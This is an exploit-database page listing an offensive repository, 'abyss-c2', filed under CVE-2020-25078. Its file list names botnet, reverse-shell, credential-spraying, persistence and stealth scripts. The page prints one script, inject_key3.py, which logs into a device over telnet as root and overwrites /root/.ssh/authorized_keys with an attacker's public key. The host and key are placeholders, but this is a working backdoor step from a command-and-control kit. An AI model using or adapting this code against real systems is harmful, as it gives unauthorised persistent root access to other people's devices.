Exploit databaseDownload repository ZIP
GH-2af8eacf03924d61b877104a3bad36c4
flags-alt/abyss-c2
Sources for CVE-2020-25078
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files39
flags-alt/abyss-c2Revision e53991d4aec1
- templates/
- .gitignore
- README.md
- auto_exploit.py
- botnet.py
- brute.py
- clean_db.py
- cred_spray.py
- database.py
- exploit.py
- inject_key.py
- inject_key2.py
- inject_key3.py
- inject_key4.py
- inject_ssh.py
- intel.py
- launch.py
- network_exploit.py
- persistence.py
- pivot_chain.py
- portscan.py
- proxy_rotation.py
- recon_asn.py
- recon_dns.py
- recon_geoip.py
- recon_jarm.py
- recon_waf.py
- requirements.txt
- reverse_shell.py
- scanner.py
- scheduler.py
- server.py
- socks_pivot.py
- stealth.py
- telnet_client.py
- web_brute.py
- web_bugs.py
- web_cves.py
- web_exploit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
inject_key3.py
Python · 900 bytesimport sys
sys.path.insert(0, r'.')
from telnet_client import TelnetSession
import base64
pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPLACEHOLDERKEYONLYFORPUBLICTEMPLATE sanitized@example-host"
b64key = base64.b64encode(pubkey.encode()).decode()
print("Connecting as root...")
tn = TelnetSession('192.0.2.10', 23, 'root', 'CHANGE_ME')
if tn.connect(timeout=10):
print("Connected!")
# Write key using base64 - avoids all escaping issues
cmd = 'echo ' + b64key + ' | base64 -d > /root/.ssh/authorized_keys'
r = tn.execute(cmd, timeout=10)
print("Write result:", r)
r = tn.execute('chmod 600 /root/.ssh/authorized_keys', timeout=10)
print("Chmod result:", r)
r = tn.execute('cat /root/.ssh/authorized_keys', timeout=10)
print("Contents:", r[:100])
tn.close()
print("\nDONE! SSH key injected.")
else:
print("Connection failed")